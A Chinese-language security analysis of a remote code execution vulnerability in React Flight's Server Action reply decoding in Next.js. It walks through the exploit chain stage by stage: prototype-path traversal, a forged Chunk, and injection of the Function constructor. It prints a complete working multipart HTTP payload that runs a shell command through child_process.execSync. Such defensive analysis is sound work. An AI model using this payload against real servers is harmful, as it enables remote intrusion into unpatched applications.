Next.js 
Server Actions 
RCE 漏洞分析

摘要

本文档深入分析了 React Flight 协议
(React Server Actions 的底层协议)中的一个远程代码执行 (RCE) 漏洞。该利用链串联了三个关键漏洞

  1. 引用解析中的未过滤路径遍历(可访问 __proto__ 和 constructor)。
  2. 伪造 
    Chunk 注入 —— 将精心构造的对象伪装成内部 Chunk 对象处理。
  3. Function 构造函数注入 —— 将 _formData.get 方法替换为 Function 构造函数。

React Server Actions 简介

什么是 Server Actions?

React Server Actions 是 React 18 引入并完全集成在 Next.js 13+ App Router 中的一项功能。它允许开发者定义服务端函数,并在客户端组件中直接调用,而无需显式创建 API 路由。

// app/actions.js
'use server'

export async function submitForm(formData) {
  const name = formData.get('name')
  await db.users.create({ name })
  return { success: true }
}

// app/page.jsx
import { submitForm } from './actions'

export default function Page() {
  return (
    <form action={submitForm}>
      <input name="name" />
      <button type="submit">Submit</button>
    </form>
  )
}

Server Actions 的工作原理

当 Server Action 被调用时:

┌─────────────────────────────────────────────────────────────────────────────┐
│                        SERVER ACTION 流程                                   │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   客户端 (Client)                  网络 (Network)              服务端 (Server) │
│   ──────                           ───────                      ──────      │
│                                                                             │
│   1. 用户提交表单                                                             │
│          │                                                                  │
│          ▼                                                                  │
│   2. React 使用 Flight                                                       │
│      协议序列化参数               POST /                                      │
│                                   multipart/form-data       3. Next.js 接收  │
│   ─────────────────────────────►  Next-Action: <id>              请求        │
│                                                                  │          │
│                                                                  ▼          │
│                                                           4. 使用 Flight     │
│                                                              反序列化参数     │
│                                                                  │          │
│                                                                  ▼          │
│                                                           5. 执行            │
│   7. React 根据结果     ◄─────────────────────────────       Server Action   │
│      更新 UI                  Flight 编码的响应                   │           │
│                                                                  ▼          │
│                                                           6. 序列化返回值     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Next-Action 标头

当调用 Server Action 时,Next.js 会发送一个带有特殊标头的 POST 请求:

POST /page HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action: 1234567890abcdef        ← Server Action 标识符
Next-Router-State-Tree: ...          ← 客户端路由状态

Next-Action 标头告知服务器执行哪个已注册的函数。请求体包含序列化后的参数。

React Flight 协议

概述

Flight 协议 是 React 的自定义序列化格式,用于在服务端和客户端之间传输 React 组件树和数据。它旨在处理:

  • React 元素和组件
  • Promise 和异步数据
  • 循环引用
  • 二进制数据 (Blobs, TypedArrays)
  • 服务端引用 (在服务端运行的函数)

Flight 协议架构

┌─────────────────────────────────────────────────────────────────────────────┐
│                         FLIGHT 协议层级                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                     应用层 (Application Layer)                       │   │
│   │   Server Actions, React Server Components, 数据获取                  │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                    │                                        │
│                                    ▼                                        │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                    序列化层 (Serialization Layer)                    │   │
│   │                                                                     │   │
│   │   ReactFlightServer.js (服务端 → 客户端 编码)                         │   │
│   │   ReactFlightClient.js (客户端 → 服务端 解码)                         │   │
│   │   ReactFlightReplyServer.js (客户端 → 服务端 回复解码) ← 漏洞所在       │   │
│   │   ReactFlightReplyClient.js (服务端 → 客户端 回复编码)                 │   │
│   │                                                                     │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                    │                                        │
│                                    ▼                                        │
│   ┌─────────────────────────────────────────────────────────────────────┐   │
│   │                     传输层 (Transport Layer)                         │   │
│   │   multipart/form-data, ReadableStream, fetch()                      │   │
│   └─────────────────────────────────────────────────────────────────────┘   │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Flight 引用类型

Flight 协议使用 $ 前缀的字符串 来编码纯 JSON 无法表示的特殊值:

前缀 类型 示例 描述
$$ 转义 $ "$$hello" → "$hello" 以 $ 开头的字面量字符串
$@ Promise/Chunk "$@0" 引用 Chunk ID 0
$F 服务端引用 "$F0" 服务端函数引用
$T 临时引用 "$T" 不透明的临时引用
$Q Map "$Q0" 位于 Chunk 0 的 Map 对象
$W Set "$W0" 位于 Chunk 0 的 Set 对象
$K FormData "$K0" 位于 Chunk 0 的 FormData
$B Blob "$B0" 位于 Chunk 0 的 Blob
$n BigInt "$n123" BigInt 值
$D Date "$D2024-01-01" Date 对象
$N NaN "$N" NaN 值
$I Infinity "$I" 无穷大
$- -Infinity/-0 "$-I" 或 "$-0" 负无穷或负零
$u undefined "$u" undefined 值
$R ReadableStream "$R0" ReadableStream
$0-9a-f Chunk 引用 "$1", "$a" 通过十六进制 ID 引用 Chunk

基于 Chunk 的架构

Flight 将数据组织成 Chunks (块) —— 可以相互引用的离散单元:

┌────────────────────────────────────────────────────────────────────────────┐
│                           CHUNK 结构                                       │
├────────────────────────────────────────────────────────────────────────────┤
│                                                                            │
│   FormData 字段:                                                           │
│   ┌──────────────────────────────────────────────────────────────────┐     │
│   │  Field "0":  '{"name": "John", "ref": "$1"}'     ← Chunk 0       │     │
│   │  Field "1":  '{"address": "123 Main St"}'        ← Chunk 1       │     │
│   │  Field "2":  '"$@0"'                             ← Chunk 2       │     │
│   └──────────────────────────────────────────────────────────────────┘     │
│                                                                            │
│   解析结果:                                                                 │
│   ┌──────────────────────────────────────────────────────────────────┐     │
│   │  Chunk 0: {name: "John", ref: → Chunk 1}                         │     │
│   │  Chunk 1: {address: "123 Main St"}                               │     │
│   │  Chunk 2: Promise<Chunk 0>                                       │     │
│   └──────────────────────────────────────────────────────────────────┘     │
│                                                                            │
└────────────────────────────────────────────────────────────────────────────┘

Chunk 对象(内部实现)

在 React 内部,Chunk 被表示为具有类似 Promise 行为的对象:

// 摘自 ReactFlightReplyServer.js (118-123行)
function Chunk(status, value, reason, response) {
  this.status = status;      // 'pending' | 'blocked' | 'resolved_model' | 'fulfilled' | 'rejected'
  this.value = value;        // 实际数据或挂起的监听器
  this.reason = reason;      // 错误原因或 Chunk ID
  this._response = response; // 父级 Response 对象
}

// Chunks 继承自 Promise.prototype
Chunk.prototype = Object.create(Promise.prototype);
Chunk.prototype.then = function(resolve, reject) { /* ... */ };

基于路径的引用(漏洞点)

Flight 支持使用冒号分隔的路径进行嵌套属性访问

"$0:users:0:name"
   │  │    │  │
   │  │    │  └── 属性 "name"
   │  │    └───── 数组索引 0
   │  └────────── 属性 "users"
   └───────────── Chunk ID 0

解析过程:

// 摘自 getOutlinedModel() - 602-616行
const path = reference.split(':');  // ["0", "users", "0", "name"]
const id = parseInt(path[0], 16);   // 0
const chunk = getChunk(response, id);

let value = chunk.value;
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 遍历: value["users"]["0"]["name"]
}

🔴 漏洞所在: 对属性名称没有任何验证,允许:

  • $0:__proto__:then - 访问原型链
  • $0:constructor:constructor - 访问 Function 构造函数

Payload 详情

POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('say haha');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 结构拆解

字段 目的
0 主 JSON Payload 带有恶意 _response 的伪造 Chunk 对象
1 "$@0" Promise 引用,创建循环依赖
2 [] 空数组,用于 Map 引用的占位符

主 Payload 对象

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('say haha');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

详细代码路径分析

阶段 1: 入口点

文件: packages/react-server/src/ReactFlightActionServer.js

POST / → decodeAction() → decodeBoundActionMetaData()
                              ↓
                         createResponse(serverManifest, formFieldPrefix, undefined, body)
                              ↓
                         getRoot(actionResponse)  // 返回 Chunk 0 (作为 thenable)
                              ↓
                         refPromise.then(() => {})  // 第 75 行 - 强制解析

代码 (56-81 行):

function decodeBoundActionMetaData(body, serverManifest, formFieldPrefix) {
  const actionResponse = createResponse(
    serverManifest,
    formFieldPrefix,
    undefined,
    body,
  );
  close(actionResponse);
  const refPromise = getRoot(actionResponse);

  // 强制初始化
  refPromise.then(() => {});  // ← 触发点 (TRIGGER POINT)

  if (refPromise.status !== 'fulfilled') {
    throw refPromise.reason;
  }
  return refPromise.value;
}

在 第 75 行,对 Root Chunk 调用 .then(),触发了整个利用链。

阶段 2: Chunk 解析与原型链访问

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (127-143 行):

Chunk.prototype.then = function(resolve, reject) {
  const chunk = this;
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);  // 第 137 行 - 触发解析
      break;
  }
  // 初始化后状态可能已改变
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);  // 第 143 行 - 将值传递给 Promise 链
      break;
    // ...
  }
}

当 Chunk 0(包含 Payload)被解析时:

  1. initializeModelChunk 解析 JSON。
  2. reviveModel 递归处理所有属性

阶段 3: 关键漏洞 —— 路径遍历

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (595-616 行):

function getOutlinedModel(response, reference, parentObject, key, map) {
  const path = reference.split(':');  // "1:__proto__:then" → ["1", "__proto__", "then"]
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);

  // ... chunk 初始化 ...

  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];  // 614-615 行: 没有净化处理!
      }
      return map(response, value);
  }
}

漏洞分析

冒号分隔的路径允许访问 任何 属性,包括:

  • __proto__ - 访问原型链
  • constructor - 访问构造函数

这里没有任何验证来阻止危险的属性访问。

阶段 4: 窃取 Chunk.prototype.then

当 $1:__proto__:then 被解析时:

$1:__proto__:then
    ↓
path = ["1", "__proto__", "then"]
    ↓
chunk1 = getChunk(response, 1)  // 包含 "$@0"
    ↓
"$@0" 解析为 chunk0 (Chunk 对象本身)
    ↓
value = chunk0["__proto__"]     // = Chunk.prototype (继承自 Promise.prototype)
    ↓
value = value["then"]           // = Chunk.prototype.then 函数

结果: Payload 的 then 属性现在持有了 Chunk.prototype.then,使该 Payload 对象变为了一个 Thenable 对象。

阶段 5: 获取 Function 构造函数

当 $1:constructor:constructor 被解析时:

$1:constructor:constructor
    ↓
path = ["1", "constructor", "constructor"]
    ↓
chunk1.value = chunk0 (解析后的对象)
    ↓
value = chunk0["constructor"]    // = Object
    ↓
value = Object["constructor"]    // = Function 构造函数

结果: _formData.get 属性变成了 Function 构造函数

阶段 6: 伪造 Chunk 被视为真实 Chunk

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (135-137 行):

switch (chunk.status) {
  case RESOLVED_MODEL:         // Payload 具有 status: "resolved_model"
    initializeModelChunk(chunk);  // 使用 PAYLOAD 作为 "chunk" 调用!

Payload 完美地模仿了 Chunk 的结构:

Chunk 属性 Payload 值 目的
status "resolved_model" 匹配 RESOLVED_MODEL 常量
value "{\"then\":\"$B1337\"}" 待解析的内部 Payload
reason -1 模仿 Chunk ID
_response {...malicious...} 注入的恶意 Response 对象

阶段 7: 恶意 Response 对象注入

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (446-474 行):

function initializeModelChunk(chunk) {
  // ...
  const resolvedModel = chunk.value;     // = "{\"then\":\"$B1337\"}"
  // ...
  const rawModel = JSON.parse(resolvedModel);

  const value = reviveModel(
    chunk._response,  // ← 使用伪造的 _response!
    {'': rawModel},
    '',
    rawModel,
    rootReference,
  );
}

伪造的 _response 包含:

{
  "_prefix": "process.mainModule.require('child_process').execSync('say haha');",
  "_formData": {"get": Function}  // 已经解析为 Function 构造函数!
}

关键问题: 没有验证 chunk._response 是否为合法的 Response 对象。

阶段 8: 通过 $B 引用执行代码

文件: packages/react-server/src/ReactFlightReplyServer.js

代码 (1059-1067 行):

case 'B': {  // Blob 引用
  const id = parseInt(value.slice(2), 16);  // 0x1337 = 4919
  const prefix = response._prefix;           // 恶意代码字符串
  const blobKey = prefix + id;               // "process.mainModule...execSync('say haha');4919"

  const backingEntry = response._formData.get(blobKey);  // Function(blobKey)!
  return backingEntry;
}

执行流程

response._formData.get(blobKey)
    ↓
// _formData.get 已经被替换为 Function 构造函数
Function("process.mainModule.require('child_process').execSync('say haha');4919")
    ↓
// 返回一个匿名函数,函数体为:
function anonymous() {
  process.mainModule.require('child_process').execSync('say haha');
  4919
}

阶段 9: 最终触发 —— RCE

返回的 Function 对象变成了内部对象 {then: <Function>} 的 then 属性。

当 Promise 解析遇到这个 Thenable 对象时:

// JavaScript Promise 内部机制:
if (typeof value.then === 'function') {
  value.then(resolve, reject);  // 调用恶意函数!
}

调用该函数将执行:

process.mainModule.require('child_process').execSync('say haha')

🔴 RCE 达成。

漏洞利用流程可视化

┌───────────────────────────────────────────────────────────────────────┐
│                         PAYLOAD 结构                                  │
├───────────────────────────────────────────────────────────────────────┤
│ Field "0": {                                                          │
│   "then": "$1:__proto__:then",     ──────► 窃取 Chunk.prototype.then  │
│   "status": "resolved_model",       ──────► 模仿 Chunk                │
│   "value": "{\"then\":\"$B1337\"}", ──────► 内部 Payload              │
│   "_response": {                                                      │
│     "_prefix": "execSync('say haha');",  ──► 待执行代码                │
│     "_formData": {"get": "$1:constructor:constructor"}  ──► Function  │
│   }                                                                   │
│ }                                                                     │
│                                                                       │
│ Field "1": "$@0"   ──────► 创建指向 Field 0 的循环引用                 │
│ Field "2": "[]"    ──────► 空数组占位符                               │
└───────────────────────────────────────────────────────────────────────┘

                              ▼

┌─────────────────────────────────────────────────────────────────────┐
│                         利用链 (EXPLOITATION CHAIN)                  │
├─────────────────────────────────────────────────────────────────────┤
│  1. 服务端收到带有 Next-Action 标头的 POST 请求│  2. decodeAction() → getRoot() → 调用 .then() (第 75 行)             │
│  3. $1:__proto__:then → 窃取 Chunk.prototype.then                   │
│  4. $1:constructor:constructor → 获取 Function 构造函数              │
│  5. Payload 对象变为 Thenable (拥有 .then 方法)                       │
│  6. Promise 解析 Payload → 视为 Chunk 处理 → initializeModelChunk    │
│  7. 使用带有恶意 _prefix 和 _formData.get 的伪造 _response            │
│  8. $B1337 → Function("malicious code") 被调用                      │
│  9. 返回的函数被用作 .then() → 被执行                                  │
│ 10. RCE: process.mainModule.require('child_process').execSync()     │
└─────────────────────────────────────────────────────────────────────┘

根因总结

位置 行号 漏洞
ReactFlightReplyServer.js 614-615 未经净化的属性路径遍历允许访问 __proto__ 和 constructor
ReactFlightReplyServer.js 137 具有匹配 status 属性的伪造对象被当作真实 Chunk 处理
ReactFlightReplyServer.js 468-474 使用 chunk._response 时未验证其是否为合法的 Response 对象
ReactFlightReplyServer.js 1066 调用 _formData.get() 时未验证其是否为真实的 FormData 方法

免责声明

本分析仅供教育和防御性安全目的使用。提供这些信息是为了帮助理解、检测和防止此类漏洞的利用。

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐